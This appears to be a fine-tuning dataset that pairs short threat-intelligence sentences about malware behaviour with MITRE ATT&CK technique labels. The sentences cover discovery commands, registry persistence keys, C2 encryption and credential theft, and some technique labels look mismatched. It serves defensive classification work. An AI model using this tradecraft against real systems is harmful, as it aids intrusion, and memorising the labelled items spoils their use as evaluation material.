"malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.",['T1016 - System Network Configuration Discovery'],fine_tune
malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.,['T1010 - Application Window Discovery'],fine_tune
"malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.  malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.",['T1560 - Archive Collected Data'],fine_tune
"malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.  malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. A  malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.",['T1486 - Data Encrypted for Impact'],fine_tune
"malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.",['T1074 - Data Staged'],fine_tune
malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another  malware sample also performs exfiltration over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
malware installs itself as a service to provide persistence and SYSTEM privileges.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.,['T1008 - Fallback Channels'],fine_tune
"malware names itself ""svchost.exe,"" which is the name of the Windows shared service host program.",['T1036 - Masquerading'],fine_tune
"malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2. Additionally,  malware RoyalDNS has used DNS for C2.",['T1071 - Application Layer Protocol'],fine_tune
malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
malware SierraCharlie uses RDP for propagation.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
Malware used by  attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Malware used by  can run commands on the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
Malware used by  is capable of capturing keystrokes.,['T1056 - Input Capture'],fine_tune
Malware used by  is capable of remotely deleting files from victims.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
malware uses Caracachs encryption to encrypt C2 payloads.,['T1573 - Encrypted Channel'],fine_tune
malware uses cmd.exe to execute commands on victims.,['T1059 - Command and Scripting Interpreter'],fine_tune
"malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.",['T1027 - Obfuscated Files or Information'],fine_tune
malware uses PowerShell and WMI to script data collection and command execution on the victim.,['T1064 - Scripting'],fine_tune
"malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account.,['T1098 - Account Manipulation'],fine_tune
malware xxmm contains a UAC bypass tool for privilege escalation.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
manipulated .lnk files to gather user credentials in conjunction with .,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Many  samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Many  samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Many strings in  are obfuscated with a XOR algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords.,['T1110 - Brute Force'],fine_tune
may be used to exfiltrate data separate from the main command and control protocol.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
may be used to find credentials in the Windows Registry.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.,['T1012 - Query Registry'],fine_tune
may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.,['T1112 - Modify Registry'],fine_tune
may collect active network connections by running netstat -an on a victim.,['T1049 - System Network Connections Discovery'],fine_tune
may collect information about running processes.,['T1057 - Process Discovery'],fine_tune
may collect information about the system by running hostname and systeminfo on a victim.,['T1082 - System Information Discovery'],fine_tune
may collect information the victim's anti-virus software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
may collect network configuration data by running ipconfig /all on a victim.,['T1016 - System Network Configuration Discovery'],fine_tune
may collect permission group information by running net group /domain or a series of other commands on a victim.,['T1069 - Permission Groups Discovery'],fine_tune
may create a file containing the results of the command cmd.exe /c ipconfig /all.,['T1016 - System Network Configuration Discovery'],fine_tune
may create a file containing the results of the command cmd.exe /c net user {Username}.,['T1087 - Account Discovery'],fine_tune
may create a temporary user on the system named “Lost_{Unique Identifier}.”,['T1136 - Create Account'],fine_tune
may create a temporary user on the system named “Lost_{Unique Identifier}” with the password “pond~!@6”{Unique Identifier}.”,['T1136 - Create Account'],fine_tune
may enumerate user directories on a victim.,['T1083 - File and Directory Discovery'],fine_tune
may gather a list of running processes by running tasklist /v.,['T1057 - Process Discovery'],fine_tune
may have used the  malware to move onto air-gapped networks.  targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.,['T1091 - Replication Through Removable Media'],fine_tune
"may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",['T1036 - Masquerading'],fine_tune
may store RC4 encrypted configuration information in the Windows Registry.,['T1112 - Modify Registry'],fine_tune
"may use net group ""domain admins"" /domain to display accounts in the ""domain admins"" permissions group and net localgroup ""administrators"" to list local system administrator group membership.",['T1087 - Account Discovery'],fine_tune
may use net view /domain to display hostnames of available systems on a network.,['T1018 - Remote System Discovery'],fine_tune
may use  to add local firewall rule exceptions.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
may use WMI when collecting information about a victim.,['T1047 - Windows Management Instrumentation'],fine_tune
Microsoft Sysinternals  is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.,['T1569.002 - System Services: Service Execution'],fine_tune
mimics a legitimate Russian program called USB Disk Security.,['T1036 - Masquerading'],fine_tune
"mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.",['T1036 - Masquerading'],fine_tune
modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.,['T1112 - Modify Registry'],fine_tune
modifies the %regrun% Registry to point itself to an autostart mechanism.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
modifies the time of a file as specified by the control server.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
modules are written in and executed via .,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Modules can be pushed to and executed by  that copy data to a staging area, compress it, and XOR encrypt it.","['T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact', 'T1074 - Data Staged']",fine_tune
monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.,['T1119 - Automated Collection'],fine_tune
"monitors USB devices and copies files with certain extensions to
a predefined directory.",['T1119 - Automated Collection'],fine_tune
"Most of the strings in  are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.",['T1027 - Obfuscated Files or Information'],fine_tune
"Most  samples maintain persistence by setting the Registry Run key SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ in the HKLM or HKCU hive, with the Registry value and file name varying by sample.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Most strings in  are encrypted using 3DES and XOR and reversed.,['T1027 - Obfuscated Files or Information'],fine_tune
moved laterally via RDP.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
MSGET downloader uses a dead drop resolver to access malicious payloads.,['T1102 - Web Service'],fine_tune
"named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\microsoft\security.",['T1036 - Masquerading'],fine_tune
network loader encrypts C2 traffic with RSA and RC6.,['T1573 - Encrypted Channel'],fine_tune
network traffic can communicate over a raw socket.,['T1095 - Non-Application Layer Protocol'],fine_tune
"network traffic communicates over common ports like 80, 443, or 1433.",['T1043 - Commonly Used Port'],fine_tune
Newer variants of  will encode C2 communications with a custom system.,['T1001 - Data Obfuscation'],fine_tune
"New services created by  are made to appear like legitimate Windows services, with names such as ""Windows Management Help Service"", ""Microsoft Support"", and ""Windows Advanced Task Manager"".",['T1036 - Masquerading'],fine_tune
obfuscated scripts that were used on victim machines.,['T1027 - Obfuscated Files or Information'],fine_tune
"obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR.",['T1027 - Obfuscated Files or Information'],fine_tune
obfuscates C2 communication using a 1-byte XOR with the key 0xBE.,['T1573 - Encrypted Channel'],fine_tune
obfuscates C2 traffic with variable 4-byte XOR keys.,['T1573 - Encrypted Channel'],fine_tune
"obfuscates files by splitting strings into smaller sub-strings and including ""garbage"" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.",['T1027 - Obfuscated Files or Information'],fine_tune
obfuscates files or information to help evade defensive measures.,['T1027 - Obfuscated Files or Information'],fine_tune
obfuscates internal strings and unpacks them at startup.,['T1027 - Obfuscated Files or Information'],fine_tune
obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.,['T1027 - Obfuscated Files or Information'],fine_tune
obfuscates strings using a custom stream cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
obtained OS version and hardware configuration from a victim.,['T1082 - System Information Discovery'],fine_tune
obtains additional code to execute on the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
obtains a list of running processes.,['T1057 - Process Discovery'],fine_tune
obtains a list of running processes on the victim.,['T1057 - Process Discovery'],fine_tune
obtains a list of running processes through WMI querying and the ps command.,['T1057 - Process Discovery'],fine_tune
obtains and saves information about victim network interfaces and addresses.,['T1049 - System Network Connections Discovery'],fine_tune
obtains application windows titles and then determines which windows to perform  on.,['T1010 - Application Window Discovery'],fine_tune
obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.,['T1083 - File and Directory Discovery'],fine_tune
obtains the current user's security identifier.,['T1033 - System Owner/User Discovery'],fine_tune
obtains the IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
obtains the number of removable drives from the victim.,['T1120 - Peripheral Device Discovery'],fine_tune
obtains the system time and will only activate if it is greater than a preset date.,['T1124 - System Time Discovery'],fine_tune
obtains the victim's current time.,['T1124 - System Time Discovery'],fine_tune
obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.,['T1082 - System Information Discovery'],fine_tune
obtains the victim computer name and encrypts the information to send over its C2 channel.,['T1082 - System Information Discovery'],fine_tune
obtains the victim IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
obtains the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
obtains the victim username and encrypts the information to send over its C2 channel.,['T1033 - System Owner/User Discovery'],fine_tune
obtains Windows logon password details.,['T1003 - OS Credential Dumping'],fine_tune
"Once a removable media device is inserted back into the first victim,  collects data from it that was exfiltrated from a second victim.",['T1025 - Data from Removable Media'],fine_tune
"Once  has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy to 1.",['T1112 - Modify Registry'],fine_tune
One persistence mechanism used by  is to register itself as a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
One persistence mechanism used by  is to register itself as a Windows service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
One variant of  creates a new service using either a hard-coded or randomly generated name.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
One variant of  uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.,['T1102 - Web Service'],fine_tune
One variant of  uses HTTP and HTTPS for C2.,['T1071 - Application Layer Protocol'],fine_tune
One version of  consists of VBScript and PowerShell scripts. The malware also uses batch scripting.,['T1064 - Scripting'],fine_tune
One version of  uses a PowerShell script.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
opens a backdoor on TCP ports 6868 and 7777.,['T1571 - Non-Standard Port'],fine_tune
opens a remote shell to execute commands on the infected system.,['T1059 - Command and Scripting Interpreter'],fine_tune
opens the Windows Firewall to modify incoming connections.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
operates over ports 21 and 20.,['T1043 - Commonly Used Port'],fine_tune
packs a plugin with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
parses the export tables of system DLLs to locate and call various Windows API functions.,['T1106 - Native API'],fine_tune
Part of 's operation involved using  modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.,['T1091 - Replication Through Removable Media'],fine_tune
"Password stealer and NTLM stealer modules in  harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.  has also executed  for further victim penetration.",['T1003 - OS Credential Dumping'],fine_tune
payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.,['T1027 - Obfuscated Files or Information'],fine_tune
payloads download additional files from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
performed a watering hole attack on forbes.com in 2014 to compromise targets.,['T1189 - Drive-by Compromise'],fine_tune
"performs account discovery using commands such as net localgroup administrators and net group ""REDACTED"" /domain on specific permissions groups.",['T1087 - Account Discovery'],fine_tune
performs a reflective DLL injection using a given pid.,['T1055 - Process Injection'],fine_tune
performs BIOS modification and can download and execute a file as well as protect itself from removal.,['T1542.001 - Pre-OS Boot: System Firmware'],fine_tune
performs data exfiltration is accomplished through the following command-line command: from <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt.,['T1020 - Automated Exfiltration'],fine_tune
performs data exfiltration over the control server channel using a custom protocol.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.,['T1113 - Screen Capture'],fine_tune
performs local network connection discovery using netstat.,['T1049 - System Network Connections Discovery'],fine_tune
performs most of its operations using Windows Script Host (Jscript and VBScript) and runs arbitrary shellcode .,['T1064 - Scripting'],fine_tune
performs multiple process injections to hijack system processes and execute malicious code.,['T1055 - Process Injection'],fine_tune
performs operating system information discovery using systeminfo.,['T1082 - System Information Discovery'],fine_tune
performs service discovery using net start commands.,['T1007 - System Service Discovery'],fine_tune
performs several anti-VM and sandbox checks on the victim's machine.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
performs the tasklist command to list running processes.,['T1057 - Process Discovery'],fine_tune
performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.  performs a separate injection of its communication module into an Internet accessible process through which it performs C2.,['T1055 - Process Injection'],fine_tune
performs timestomping of a CAB file it creates.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
performs UAC bypass.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
persists via a Launch Agent.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
persists via a login item.,['T1547.015 - Boot or Logon Autostart Execution: Login Items'],fine_tune
probes the system to check for sandbox/virtualized environments and other antimalware processes.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
prompts the user for their credentials.,['T1056 - Input Capture'],fine_tune
prompts users for their credentials.,['T1056 - Input Capture'],fine_tune
provides access to the system via SSH or any other protocol that uses PAM to authenticate.,['T1071 - Application Layer Protocol'],fine_tune
"provides access to the Windows Registry, which can be used to gather information.",['T1012 - Query Registry'],fine_tune
"provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet",['T1059 - Command and Scripting Interpreter'],fine_tune
"provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet",['T1205.001 - Port Knocking'],fine_tune
"provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.",['T1205.001 - Port Knocking'],fine_tune
provides a reverse shell on the victim.,['T1059 - Command and Scripting Interpreter'],fine_tune
puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.,['T1036.006 - Masquerading: Space after Filename'],fine_tune
queries Registry keys in preparation for setting Run keys to achieve persistence.,['T1012 - Query Registry'],fine_tune
queries several Registry keys to identify hard disk partitions to overwrite.,['T1012 - Query Registry'],fine_tune
queries the Registry for specific keys for potential privilege escalation and proxy information.,['T1012 - Query Registry'],fine_tune
queries the Registry to determine the correct Startup path to use for persistence.,['T1012 - Query Registry'],fine_tune
ran a command to compile an archive of file types of interest from the victim user's directories.,"['T1005 - Data from Local System', 'T1119 - Automated Collection']",fine_tune
ran a reverse shell with Meterpreter.,['T1059 - Command and Scripting Interpreter'],fine_tune
ran genuinely-signed executables from Symantec and McAfee which loaded a malicious DLL called rastls.dll.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
RAT is able to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RAT is able to list processes.,['T1057 - Process Discovery'],fine_tune
RAT is able to open a command shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
RAT is able to wipe event logs.,['T1070 - Indicator Removal on Host'],fine_tune
recursively generates a list of files within a directory and sends them back to the control server.,['T1119 - Automated Collection'],fine_tune
registers itself as a service by adding several Registry keys.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
registers itself as a service on the victim’s machine to run as a standalone process.,['T1569.002 - System Services: Service Execution'],fine_tune
"registers itself under a Registry Run key with the name ""USB Disk Security.""",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
relays traffic between a C2 server and a victim.,['T1090 - Proxy'],fine_tune
removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
removes logs from /var/logs and /Library/logs.,['T1070 - Indicator Removal on Host'],fine_tune
renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.,['T1036 - Masquerading'],fine_tune
replaces the Sticky Keys binary C:\Windows\System32\sethc.exe for persistence.,['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
reports window names along with keylogger information to provide application context.,['T1010 - Application Window Discovery'],fine_tune
Rundll32.exe is used as a way of executing  at the command-line.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
runs cmd.exe /c and sends the output to its C2.,['T1059 - Command and Scripting Interpreter'],fine_tune
runs ipconfig /all and collects the domain name.,['T1016 - System Network Configuration Discovery'],fine_tune
runs its core DLL file using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
runs tasklist to obtain running processes.,['T1057 - Process Discovery'],fine_tune
runs tests to determine the privilege level of the compromised user.,['T1033 - System Owner/User Discovery'],fine_tune
runs the command: net start >> %TEMP%\info.dat on a victim.,['T1007 - System Service Discovery'],fine_tune
runs the command net user on a victim.  also runs tests to determine the privilege level of the compromised user.,['T1087 - Account Discovery'],fine_tune
runs the ifconfig command to obtain the IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
runs the net view /domain and net view commands.,['T1018 - Remote System Discovery'],fine_tune
runs the net view command,['T1018 - Remote System Discovery'],fine_tune
runs the whoami and query user commands.,['T1033 - System Owner/User Discovery'],fine_tune
runs whoami on the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
samples have been signed with a code-signing certificates.,['T1553.002 - Code Signing'],fine_tune
"samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.",['T1553.002 - Code Signing'],fine_tune
samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.,['T1553.002 - Code Signing'],fine_tune
samples were timestomped by the authors by setting the PE timestamps to all zero values.  also has a built-in command to modify file times.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .,['T1119 - Automated Collection'],fine_tune
"saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",['T1036 - Masquerading'],fine_tune
"saves itself with a leading ""."" so that it's hidden from users by default.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool).,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
scans processes on all victim systems in the environment and uses automated scripts to pull back the results.,"['T1064 - Scripting', 'T1119 - Automated Collection']",fine_tune
scans the C-class subnet of the IPs on the victim's interfaces.,['T1018 - Remote System Discovery'],fine_tune
schedules the execution one of its modules by creating a new scheduler task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
scripts save memory dump data into a specific directory on hosts in the victim environment.,['T1074 - Data Staged'],fine_tune
searches attached and mounted drives for file extensions and keywords that match a predefined list.,['T1083 - File and Directory Discovery'],fine_tune
searches for certain Registry keys to be configured before executing the payload.,['T1012 - Query Registry'],fine_tune
searches for files created within a certain timeframe and whose file extension matches a predefined list.,['T1083 - File and Directory Discovery'],fine_tune
searches for files named logins.json to parse for credentials and also looks for credentials stored from browsers.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
searches for files on attached removable drives based on a predefined list of file extensions every five seconds.,['T1025 - Data from Removable Media'],fine_tune
searches for files on local drives based on a predefined list of file extensions.,['T1005 - Data from Local System'],fine_tune
searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by .,['T1025 - Data from Removable Media'],fine_tune
searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.,['T1083 - File and Directory Discovery'],fine_tune
searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.,['T1114 - Email Collection'],fine_tune
searches for network drives and removable media and duplicates itself onto them.,['T1105 - Ingress Tool Transfer'],fine_tune
searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.,['T1114 - Email Collection'],fine_tune
"searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.",['T1119 - Automated Collection'],fine_tune
searches the local system and gathers data.,['T1005 - Data from Local System'],fine_tune
"searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip",['T1083 - File and Directory Discovery'],fine_tune
"searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).",['T1114 - Email Collection'],fine_tune
"searches victim drives for files matching certain extensions (“.skr”,“.pkr” or “.key”) or names.",['T1083 - File and Directory Discovery'],fine_tune
"SEKURLSA::Pth module can impersonate a user, with only a password hash, to execute arbitrary commands.",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
sends an OS version identifier in its beacons.,['T1082 - System Information Discovery'],fine_tune
sends emails to victims with a malicious executable disguised as a document or spreadsheet displaying a fake icon.,['T1598.002 - Spearphishing Attachment'],fine_tune
sends images to users that are embedded with shellcode and obfuscates strings and payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
"sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.",['T1082 - System Information Discovery'],fine_tune
"sent malicious attachments to victims over email, including an Excel spreadsheet containing macros to download Pupy.",['T1598.002 - Spearphishing Attachment'],fine_tune
sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.,['T1598.003 - Spearphishing Link'],fine_tune
sent spear phishing emails containing links to .hta files.,['T1598.003 - Spearphishing Link'],fine_tune
sent spearphishing emails containing malicious Microsoft Office attachments.,['T1598.002 - Spearphishing Attachment'],fine_tune
sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.,['T1598.003 - Spearphishing Link'],fine_tune
service-based DLL implant can execute a downloaded file with parameters specified using CreateProcessAsUser.,['T1546.009 - Event Triggered Execution: AppCert DLLs'],fine_tune
service-based DLL implant traverses the FTP server’s directories looking for files with keyword matches for computer names or certain keywords.,['T1083 - File and Directory Discovery'],fine_tune
sets a WH_CBT Windows hook to collect information on process creation.,['T1057 - Process Discovery'],fine_tune
sets a WH_CBT Windows hook to search for and capture files on the victim.,['T1083 - File and Directory Discovery'],fine_tune
sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Several  backdoors achieved persistence by adding a Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Several  malware families are capable of downloading and executing binaries from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
"Several  malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by  also collects disk space information and sends it to its C2 server.",['T1082 - System Information Discovery'],fine_tune
"Several  malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another  malware sample XORs C2 traffic.  malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.",['T1573 - Encrypted Channel'],fine_tune
"Several  malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Several  malware samples use a common function to identify target files by their extension.  malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.",['T1083 - File and Directory Discovery'],fine_tune
Several  tools encode data with base64 when posting it to a C2 server.,['T1132 - Data Encoding'],fine_tune
shellcode decrypts and decompresses its RC4-encrypted payload.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Some  malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.",['T1043 - Commonly Used Port'],fine_tune
"Some  malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.",['T1571 - Non-Standard Port'],fine_tune
"Some  malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.",['T1026 - Multiband Communication'],fine_tune
Some resources in  are encrypted with a simple XOR operation or encoded with Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
Some  samples contain a publicly available Web browser password recovery tool.,['T1003 - OS Credential Dumping'],fine_tune
Some  samples have a module to extract email from Microsoft Exchange servers using compromised credentials.,"['T1078 - Valid Accounts', 'T1114 - Email Collection']",fine_tune
Some  samples have a module to use pass the ticket with Kerberos for authentication.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
Some  samples install themselves as services for persistence by calling WinExec with the net start argument.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Some  samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.",['T1573 - Encrypted Channel'],fine_tune
Some  samples use AES to encrypt C2 traffic.,['T1573 - Encrypted Channel'],fine_tune
Some  samples use cmd.exe to delete temporary files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Some  samples were signed with a stolen digital certificate.,['T1553.002 - Code Signing'],fine_tune
Some strings in are obfuscated with XOR x56.,['T1027 - Obfuscated Files or Information'],fine_tune
"Some  variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.",['T1071 - Application Layer Protocol'],fine_tune
Some variants of  achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"Some variants of  use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows ""AppInit_DLLs""=""pserver32.dll""",['T1546.010 - Event Triggered Execution: AppInit DLLs'],fine_tune
Some variants of  use SSL to communicate with C2 servers.,['T1071 - Application Layer Protocol'],fine_tune
Some  variants use HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
Some  variants use ports 8080 and 8000 for C2.,['T1043 - Commonly Used Port'],fine_tune
Some  variants use raw TCP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
Some  variants use SSL to encrypt C2 communications.,['T1573 - Encrypted Channel'],fine_tune
